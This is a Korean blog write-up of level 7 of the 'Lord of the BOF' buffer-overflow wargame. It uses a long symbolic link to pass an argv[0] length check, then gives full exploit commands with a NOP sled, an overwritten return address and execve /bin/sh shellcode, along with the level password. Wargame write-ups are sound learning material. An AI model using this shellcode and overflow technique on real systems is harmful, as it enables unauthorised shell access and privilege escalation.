SH1R0_HACKER

7. darkelf -> orgc 본문

System/The Lord of BOF

7. darkelf -> orgc

SH1R0_HACKER 2020. 10. 24. 16:41

id : darkelf

password : kernel crashed


[ orgc.c ]

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orge
        - check argv[0]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

 

darkelf랑 비교했을 때 다른건 다 똑같은데 argv[0]의 길이가 77이 되지 않으면 오류를 띄운다.

argv[0]에는 프로그램을 실행할 때 첫번째 인자가 들어간다.

 

우리가 ./orge 라고 실행을 하면

 

argv[0] = /home/darkelf/./orge

 

이렇게 들어가게 된다.

 

/home/darkelf를 포함해서 77byte가 되어야한다는거니깐 14byte를 제외한 63byte를 추가로 입력해주면된다.

이때 심볼릭 링크 (symbolic link)를 이용하면 편리하게 바꿀 수 있다.


[ 심볼릭 링크 (symbolic Link) ]

 

ko.wikipedia.org/wiki/심볼릭_링크

 

심볼릭 링크 - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 컴퓨팅에서 심볼릭 링크(symbolic link) 또는 기호화된 링크는 절대 경로 또는 상대 경로의 형태로 된 다른 파일이나 디렉터리에 대한 참조를 포함하고 있는 특별

ko.wikipedia.org

 

심볼릭 링크는 원본파일을 가리킬 수 있도록 만들어 놓은 링크파일과 같은 존재이다.

윈도우에서 바로가기 (.lnk) 파일을 생각하면 쉽게 이해가 될 것이다.

사용법은 아래와 같다.

 

ln -s [원본파일명] [링크파일명]


[ GDB 분석 ]

원본파일에 쓰기권한이 없으므로 사본을 생성해준다.

이 사본에 심볼릭 링크를 적용하여 argv[0]의 길이를 77byte로 만들어 주자.

 

ln -s orge2 `python -c 'print "A"*75'`

 

A를 75개 넣은 이유는 파일을 실행할 때 ./ 이 문구가 들어가니깐 2byte를 빼주고 75byte만큼 넣은거다.

 

입력이 잘 되는 모습을 볼 수 있다.

 

이제 argv[2]에 쉘코드 넣고 RET주소를 여기로 변경하자.

 

RET에 브레이크 포인트를 걸고 실행하는 순간 argv[0] 에러가 난다.

우리가 위에서 ./ 를 생각해서 A를 75개 밖에 만들지 않았기 때문에 오류가 나는것이다.

 

gdb `python -c 'print "./"+"/"*70+"orge2"'`

 

이렇게 분석해보자.

그래도 에러가 난다.

/home/darkelf/

이 14byte만큼도 빼 줘야하나?

 

gdb `python -c 'print "./"+"/"*56+"orge2"'`

 

이렇게 분석해보자.

 

굿 잘된다.

 

argv[2]의 주소 : 0xbffffc1c

 

페이로드를 작성하여 공격하기 전 orge 원본파일에 심볼릭링크를 걸어주자.

orge2에 걸어둔 심볼릭링크는 삭제하였다.

 

ln -s orge `python -c 'print "A"*75'`

 

페이로드를 작성하자.

 

 `python -c 'print "./"+"/"*70+"orge2"'` `python -c 'print "\x90"*44+"\x1c\xfc\xff\xbf"'` `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

Segmentation fault (core dumped)

코어가 생성되었다. 확인해보자.

 

argv[2]의 주소가 0xbffffbcc로 바뀌어져있다.

RET 주소를 다시 바꿔주자.

 

./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*44+"\xcc\xfb\xff\xbf"'` `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

'System > The Lord of BOF' 카테고리의 다른 글

9. troll -> vampire  (0) 2020.10.27
8. orge -> troll  (0) 2020.10.26
6. wolfman -> darkelf  (0) 2020.10.24
5. orc -> wolfman  (0) 2020.10.22
4. goblin -> orc  (0) 2020.10.22